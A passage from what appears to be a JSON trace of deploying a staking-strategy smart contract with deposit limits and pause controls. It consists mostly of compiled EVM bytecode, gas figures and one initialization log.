0611ab0565b905081610ad68583611ad6565b610ae09190611aed565b949350505050565b60006109cb82610d7e565b60006109cb6103a283610b21565b60606040518060800160405280604d8152602001611b45604d9139905090565b604051633d3f06c960e11b81526001600160a01b0382811660048301523060248301526000917f000000000000000000000000000000000000000000000000000000000000000090911690637a7e0d9290604401602060405180830381865afa158015610b92573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb9190611b0f565b60018054600290811603610c085760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610c805760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b610c8b848484611315565b60335480831115610d1a5760405162461bcd60e51b815260206004820152604d60248201527f5374726174656779426173652e77697468647261773a20616d6f756e7453686160448201527f726573206d757374206265206c657373207468616e206f7220657175616c207460648201526c6f20746f74616c53686172657360981b608482015260a401610410565b6000610d286103e883611ab0565b905060006103e8610d376112a3565b610d419190611ab0565b9050600082610d508784611ad6565b610d5a9190611aed565b9050610d668685611ac3565b603355610d74888883611398565b5050505050505050565b6000806103e8603354610d919190611ab0565b905060006103e8610da06112a3565b610daa9190611ab0565b905080610ad68386611ad6565b60006109cb82610a9d565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3991906119c9565b6001600160a01b0316336001600160a01b031614610e695760405162461bcd60e51b8152600401610410906119e6565b600154198119600154191614610ee75760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161073e565b60645460408051918252602082018490527ff97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5910160405180910390a160655460408051918252602082018390527f6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452910160405180910390a1808211156110205760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794261736554564c4c696d6974732e5f73657454564c4c696d60448201527f6974733a206d61785065724465706f7369742065786365656473206d6178546f60648201526a74616c4465706f7369747360a81b608482015260a401610410565b606491909155606555565b600054610100900460ff166110965760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b6064820152608401610410565b603280546001600160a01b0319166001600160a01b0384161790556106018160006113ac565b6001600160a01b03811661114a5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610410565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b60645481111561122b5760405162461bcd60e51b815260206004820152602f60248201527f53747261746567794261736554564c4c696d6974733a206d617820706572206460448201526e195c1bdcda5d08195e18d959591959608a1b6064820152608401610410565b6065546112366112a3565b11156112995760405162461bcd60e51b815260206004820152602c60248201527f53747261746567794261736554564c4c696d6974733a206d6178206465706f7360448201526b1a5d1cc8195e18d95959195960a21b6064820152608401610410565b6106018282611498565b6032546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156112ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113109190611b0f565b905090565b6032546001600160a01b038381169116146109b85760405162461bcd60e51b815260206004820152603b60248201527f5374726174656779426173652e77697468647261773a2043616e206f6e6c792060448201527f77697468647261772074686520737472617465677920746f6b656e00000000006064820152608401610410565b6109b86001600160a01b0383168483611514565b6000546201000090046001600160a01b03161580156113d357506001600160a01b03821615155b6114555760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610601826110bc565b6032546001600160a01b038381169116146106015760405162461bcd60e51b815260206004820152603660248201527f5374726174656779426173652e6465706f7369743a2043616e206f6e6c79206460448201527532b837b9b4ba103ab73232b9363cb4b733aa37b5b2b760511b6064820152608401610410565b604080516001600160a01b03848116602483015260448083018590528351808403909101815260649092018352602080830180516001600160e01b031663a9059cbb60e01b17905283518085019094528084527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564908401526109b8928692916000916115a4918516908490611621565b8051909150156109b857808060200190518101906115c29190611a30565b6109b85760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610410565b6060611630848460008561163a565b90505b9392505050565b60608247101561169b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610410565b6001600160a01b0385163b6116f25760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610410565b600080866001600160a01b0316858760405161170e9190611b28565b60006040518083038185875af1925050503d806000811461174b576040519150601f19603f3d011682016040523d82523d6000602084013e611750565b606091505b509150915061176082828661176b565b979650505050505050565b6060831561177a575081611633565b82511561178a5782518084602001fd5b8160405162461bcd60e51b81526004016104109190611907565b6001600160a01b038116811461054d57600080fd5b600080600080608085870312156117cf57600080fd5b843593506020850135925060408501356117e8816117a4565b915060608501356117f8816117a4565b939692955090935050565b60006020828403121561181557600080fd5b8135611633816117a4565b6000806040838503121561183357600080fd5b50508035926020909101359150565b60006020828403121561185457600080fd5b5035919050565b6000806040838503121561186e57600080fd5b8235611879816117a4565b946020939093013593505050565b6000806040838503121561189a57600080fd5b82356118a5816117a4565b915060208301356118b5816117a4565b809150509250929050565b6000602082840312156118d257600080fd5b813560ff8116811461163357600080fd5b60005b838110156118fe5781810151838201526020016118e6565b50506000910152565b60208152600082518060208401526119268160408501602087016118e3565b601f01601f19169190910160400192915050565b60008060006060848603121561194f57600080fd5b833561195a816117a4565b9250602084013561196a816117a4565b929592945050506040919091013590565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6000602082840312156119db57600080fd5b8151611633816117a4565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611a4257600080fd5b8151801515811461163357600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b808201808211156109cb576109cb611a9a565b818103818111156109cb576109cb611a9a565b80820281158282048414176109cb576109cb611a9a565b600082611b0a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611b2157600080fd5b5051919050565b60008251611b3a8184602087016118e3565b919091019291505056fe4261736520537472617465677920696d706c656d656e746174696f6e20746f20696e68657269742066726f6d20666f72206d6f726520636f6d706c657820696d706c656d656e746174696f6e73a2646970667358221220164a1e6647f9a7e6acdd95fe11c2a51bff432bb3e4654da860b9e0fe8c10f37064736f6c634300081b0033000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9","output":"0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80635c975abb116100de578063ab5921e111610097578063df6fadc111610071578063df6fadc114610366578063e3dae51c14610381578063f3e7387514610394578063fabc1cbc146103a757600080fd5b8063ab5921e11461032b578063ce7c2ac214610340578063d9caed121461035357600080fd5b80635c975abb146102c857806361b01b5d146102d05780637a8b2637146102d9578063886f1195146102ec5780638c871019146103055780638f6a62401461031857600080fd5b80633a98ef391161014b578063485cc95511610125578063485cc9551461026b578063553ca5f81461027e578063595c6a67146102915780635ac86ab71461029957600080fd5b80633a98ef391461023857806343fe08b01461024f57806347e7ef241461025857600080fd5b8063019e27291461019357806310d67a2f146101a857806311c70c9d146101bb578063136439dd146101ce5780632495a599146101e157806339b70e3814610211575b600080fd5b6101a66101a13660046117b9565b6103ba565b005b6101a66101b6366004611803565b61049d565b6101a66101c9366004611820565b610550565b6101a66101dc366004611842565b610605565b6032546101f4906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6101f47f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b61024160335481565b604051908152602001610208565b61024160645481565b61024161026636600461185b565b610749565b6101a6610279366004611887565b6108ef565b61024161028c366004611803565b6109bd565b6101a66109d1565b6102b86102a73660046118c0565b6001805460ff9092161b9081161490565b6040519015158152602001610208565b600154610241565b61024160655481565b6102416102e7366004611842565b610a9d565b6000546101f4906201000090046001600160a01b031681565b610241610313366004611842565b610ae8565b610241610326366004611803565b610af3565b610333610b01565b6040516102089190611907565b61024161034e366004611803565b610b21565b6101a661036136600461193a565b610bb6565b60645460655460408051928352602083019190915201610208565b61024161038f366004611842565b610d7e565b6102416103a2366004611842565b610db7565b6101a66103b5366004611842565b610dc2565b600054610100900460ff16158080156103da5750600054600160ff909116105b806103f45750303b1580156103f4575060005460ff166001145b6104195760405162461bcd60e51b81526004016104109061197b565b60405180910390fd5b6000805460ff19166001179055801561043c576000805461ff0019166101001790555b6104468585610f1e565b610450838361102b565b8015610496576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051491906119c9565b6001600160a01b0316336001600160a01b0316146105445760405162461bcd60e51b8152600401610410906119e6565b61054d816110bc565b50565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c791906119c9565b6001600160a01b0316336001600160a01b0316146105f75760405162461bcd60e51b8152600401610410906119e6565b6106018282610f1e565b5050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610652573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106769190611a30565b6106925760405162461bcd60e51b815260040161041090611a52565b6001548181161461070b5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60018054600091829181160361079d5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c916146108155760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b61081f84846111c1565b60335460006108306103e883611ab0565b905060006103e861083f6112a3565b6108499190611ab0565b905060006108578783611ac3565b9050806108648489611ad6565b61086e9190611aed565b9550856000036108d75760405162461bcd60e51b815260206004820152602e60248201527f5374726174656779426173652e6465706f7369743a206e65775368617265732060448201526d63616e6e6f74206265207a65726f60901b6064820152608401610410565b6108e18685611ab0565b603355505050505092915050565b600054610100900460ff161580801561090f5750600054600160ff909116105b806109295750303b158015610929575060005460ff166001145b6109455760405162461bcd60e51b81526004016104109061197b565b6000805460ff191660011790558015610968576000805461ff0019166101001790555b610972838361102b565b80156109b8576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050565b60006109cb6102e783610b21565b92915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190611a30565b610a5e5760405162461bcd60e51b815260040161041090611a52565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b6000806103e8603354610ab09190611ab0565b905060006103e8610abf6112a3565b610ac99190611ab0565b905081610ad68583611ad6565b610ae09190611aed565b949350505050565b60006109cb82610d7e565b60006109cb6103a283610b21565b60606040518060800160405280604d8152602001611b45604d9139905090565b604051633d3f06c960e11b81526001600160a01b0382811660048301523060248301526000917f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c990911690637a7e0d9290604401602060405180830381865afa158015610b92573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb9190611b0f565b60018054600290811603610c085760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c91614610c805760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b610c8b848484611315565b60335480831115610d1a5760405162461bcd60e51b815260206004820152604d60248201527f5374726174656779426173652e77697468647261773a20616d6f756e7453686160448201527f726573206d757374206265206c657373207468616e206f7220657175616c207460648201526c6f20746f74616c53686172657360981b608482015260a401610410565b6000610d286103e883611ab0565b905060006103e8610d376112a3565b610d419190611ab0565b9050600082610d508784611ad6565b610d5a9190611aed565b9050610d668685611ac3565b603355610d74888883611398565b5050505050505050565b6000806103e8603354610d919190611ab0565b905060006103e8610da06112a3565b610daa9190611ab0565b905080610ad68386611ad6565b60006109cb82610a9d565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3991906119c9565b6001600160a01b0316336001600160a01b031614610e695760405162461bcd60e51b8152600401610410906119e6565b600154198119600154191614610ee75760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161073e565b60645460408051918252602082018490527ff97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5910160405180910390a160655460408051918252602082018390527f6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452910160405180910390a1808211156110205760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794261736554564c4c696d6974732e5f73657454564c4c696d60448201527f6974733a206d61785065724465706f7369742065786365656473206d6178546f60648201526a74616c4465706f7369747360a81b608482015260a401610410565b606491909155606555565b600054610100900460ff166110965760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b6064820152608401610410565b603280546001600160a01b0319166001600160a01b0384161790556106018160006113ac565b6001600160a01b03811661114a5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610410565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b60645481111561122b5760405162461bcd60e51b815260206004820152602f60248201527f53747261746567794261736554564c4c696d6974733a206d617820706572206460448201526e195c1bdcda5d08195e18d959591959608a1b6064820152608401610410565b6065546112366112a3565b11156112995760405162461bcd60e51b815260206004820152602c60248201527f53747261746567794261736554564c4c696d6974733a206d6178206465706f7360448201526b1a5d1cc8195e18d95959195960a21b6064820152608401610410565b6106018282611498565b6032546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156112ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113109190611b0f565b905090565b6032546001600160a01b038381169116146109b85760405162461bcd60e51b815260206004820152603b60248201527f5374726174656779426173652e77697468647261773a2043616e206f6e6c792060448201527f77697468647261772074686520737472617465677920746f6b656e00000000006064820152608401610410565b6109b86001600160a01b0383168483611514565b6000546201000090046001600160a01b03161580156113d357506001600160a01b03821615155b6114555760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610601826110bc565b6032546001600160a01b038381169116146106015760405162461bcd60e51b815260206004820152603660248201527f5374726174656779426173652e6465706f7369743a2043616e206f6e6c79206460448201527532b837b9b4ba103ab73232b9363cb4b733aa37b5b2b760511b6064820152608401610410565b604080516001600160a01b03848116602483015260448083018590528351808403909101815260649092018352602080830180516001600160e01b031663a9059cbb60e01b17905283518085019094528084527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564908401526109b8928692916000916115a4918516908490611621565b8051909150156109b857808060200190518101906115c29190611a30565b6109b85760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610410565b6060611630848460008561163a565b90505b9392505050565b60608247101561169b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610410565b6001600160a01b0385163b6116f25760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610410565b600080866001600160a01b0316858760405161170e9190611b28565b60006040518083038185875af1925050503d806000811461174b576040519150601f19603f3d011682016040523d82523d6000602084013e611750565b606091505b509150915061176082828661176b565b979650505050505050565b6060831561177a575081611633565b82511561178a5782518084602001fd5b8160405162461bcd60e51b81526004016104109190611907565b6001600160a01b038116811461054d57600080fd5b600080600080608085870312156117cf57600080fd5b843593506020850135925060408501356117e8816117a4565b915060608501356117f8816117a4565b939692955090935050565b60006020828403121561181557600080fd5b8135611633816117a4565b6000806040838503121561183357600080fd5b50508035926020909101359150565b60006020828403121561185457600080fd5b5035919050565b6000806040838503121561186e57600080fd5b8235611879816117a4565b946020939093013593505050565b6000806040838503121561189a57600080fd5b82356118a5816117a4565b915060208301356118b5816117a4565b809150509250929050565b6000602082840312156118d257600080fd5b813560ff8116811461163357600080fd5b60005b838110156118fe5781810151838201526020016118e6565b50506000910152565b60208152600082518060208401526119268160408501602087016118e3565b601f01601f19169190910160400192915050565b60008060006060848603121561194f57600080fd5b833561195a816117a4565b9250602084013561196a816117a4565b929592945050506040919091013590565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6000602082840312156119db57600080fd5b8151611633816117a4565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611a4257600080fd5b8151801515811461163357600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b808201808211156109cb576109cb611a9a565b818103818111156109cb576109cb611a9a565b80820281158282048414176109cb576109cb611a9a565b600082611b0a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611b2157600080fd5b5051919050565b60008251611b3a8184602087016118e3565b919091019291505056fe4261736520537472617465677920696d706c656d656e746174696f6e20746f20696e68657269742066726f6d20666f72206d6f726520636f6d706c657820696d706c656d656e746174696f6e73a2646970667358221220164a1e6647f9a7e6acdd95fe11c2a51bff432bb3e4654da860b9e0fe8c10f37064736f6c634300081b0033","gas_used":1447443,"gas_limit":1931973,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80635c975abb116100de578063ab5921e111610097578063df6fadc111610071578063df6fadc114610366578063e3dae51c14610381578063f3e7387514610394578063fabc1cbc146103a757600080fd5b8063ab5921e11461032b578063ce7c2ac214610340578063d9caed121461035357600080fd5b80635c975abb146102c857806361b01b5d146102d05780637a8b2637146102d9578063886f1195146102ec5780638c871019146103055780638f6a62401461031857600080fd5b80633a98ef391161014b578063485cc95511610125578063485cc9551461026b578063553ca5f81461027e578063595c6a67146102915780635ac86ab71461029957600080fd5b80633a98ef391461023857806343fe08b01461024f57806347e7ef241461025857600080fd5b8063019e27291461019357806310d67a2f146101a857806311c70c9d146101bb578063136439dd146101ce5780632495a599146101e157806339b70e3814610211575b600080fd5b6101a66101a13660046117b9565b6103ba565b005b6101a66101b6366004611803565b61049d565b6101a66101c9366004611820565b610550565b6101a66101dc366004611842565b610605565b6032546101f4906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6101f47f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b61024160335481565b604051908152602001610208565b61024160645481565b61024161026636600461185b565b610749565b6101a6610279366004611887565b6108ef565b61024161028c366004611803565b6109bd565b6101a66109d1565b6102b86102a73660046118c0565b6001805460ff9092161b9081161490565b6040519015158152602001610208565b600154610241565b61024160655481565b6102416102e7366004611842565b610a9d565b6000546101f4906201000090046001600160a01b031681565b610241610313366004611842565b610ae8565b610241610326366004611803565b610af3565b610333610b01565b6040516102089190611907565b61024161034e366004611803565b610b21565b6101a661036136600461193a565b610bb6565b60645460655460408051928352602083019190915201610208565b61024161038f366004611842565b610d7e565b6102416103a2366004611842565b610db7565b6101a66103b5366004611842565b610dc2565b600054610100900460ff16158080156103da5750600054600160ff909116105b806103f45750303b1580156103f4575060005460ff166001145b6104195760405162461bcd60e51b81526004016104109061197b565b60405180910390fd5b6000805460ff19166001179055801561043c576000805461ff0019166101001790555b6104468585610f1e565b610450838361102b565b8015610496576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051491906119c9565b6001600160a01b0316336001600160a01b0316146105445760405162461bcd60e51b8152600401610410906119e6565b61054d816110bc565b50565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c791906119c9565b6001600160a01b0316336001600160a01b0316146105f75760405162461bcd60e51b8152600401610410906119e6565b6106018282610f1e565b5050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610652573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106769190611a30565b6106925760405162461bcd60e51b815260040161041090611a52565b6001548181161461070b5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60018054600091829181160361079d5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c916146108155760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b61081f84846111c1565b60335460006108306103e883611ab0565b905060006103e861083f6112a3565b6108499190611ab0565b905060006108578783611ac3565b9050806108648489611ad6565b61086e9190611aed565b9550856000036108d75760405162461bcd60e51b815260206004820152602e60248201527f5374726174656779426173652e6465706f7369743a206e65775368617265732060448201526d63616e6e6f74206265207a65726f60901b6064820152608401610410565b6108e18685611ab0565b603355505050505092915050565b600054610100900460ff161580801561090f5750600054600160ff909116105b806109295750303b158015610929575060005460ff166001145b6109455760405162461bcd60e51b81526004016104109061197b565b6000805460ff191660011790558015610968576000805461ff0019166101001790555b610972838361102b565b80156109b8576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050565b60006109cb6102e783610b21565b92915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190611a30565b610a5e5760405162461bcd60e51b815260040161041090611a52565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b6000806103e8603354610ab09190611ab0565b905060006103e8610abf6112a3565b610ac99190611ab0565b905081610ad68583611ad6565b610ae09190611aed565b949350505050565b60006109cb82610d7e565b60006109cb6103a283610b21565b60606040518060800160405280604d8152602001611b45604d9139905090565b604051633d3f06c960e11b81526001600160a01b0382811660048301523060248301526000917f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c990911690637a7e0d9290604401602060405180830381865afa158015610b92573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb9190611b0f565b60018054600290811603610c085760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c91614610c805760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b610c8b848484611315565b60335480831115610d1a5760405162461bcd60e51b815260206004820152604d60248201527f5374726174656779426173652e77697468647261773a20616d6f756e7453686160448201527f726573206d757374206265206c657373207468616e206f7220657175616c207460648201526c6f20746f74616c53686172657360981b608482015260a401610410565b6000610d286103e883611ab0565b905060006103e8610d376112a3565b610d419190611ab0565b9050600082610d508784611ad6565b610d5a9190611aed565b9050610d668685611ac3565b603355610d74888883611398565b5050505050505050565b6000806103e8603354610d919190611ab0565b905060006103e8610da06112a3565b610daa9190611ab0565b905080610ad68386611ad6565b60006109cb82610a9d565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3991906119c9565b6001600160a01b0316336001600160a01b031614610e695760405162461bcd60e51b8152600401610410906119e6565b600154198119600154191614610ee75760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161073e565b60645460408051918252602082018490527ff97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5910160405180910390a160655460408051918252602082018390527f6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452910160405180910390a1808211156110205760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794261736554564c4c696d6974732e5f73657454564c4c696d60448201527f6974733a206d61785065724465706f7369742065786365656473206d6178546f60648201526a74616c4465706f7369747360a81b608482015260a401610410565b606491909155606555565b600054610100900460ff166110965760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b6064820152608401610410565b603280546001600160a01b0319166001600160a01b0384161790556106018160006113ac565b6001600160a01b03811661114a5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610410565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b60645481111561122b5760405162461bcd60e51b815260206004820152602f60248201527f53747261746567794261736554564c4c696d6974733a206d617820706572206460448201526e195c1bdcda5d08195e18d959591959608a1b6064820152608401610410565b6065546112366112a3565b11156112995760405162461bcd60e51b815260206004820152602c60248201527f53747261746567794261736554564c4c696d6974733a206d6178206465706f7360448201526b1a5d1cc8195e18d95959195960a21b6064820152608401610410565b6106018282611498565b6032546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156112ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113109190611b0f565b905090565b6032546001600160a01b038381169116146109b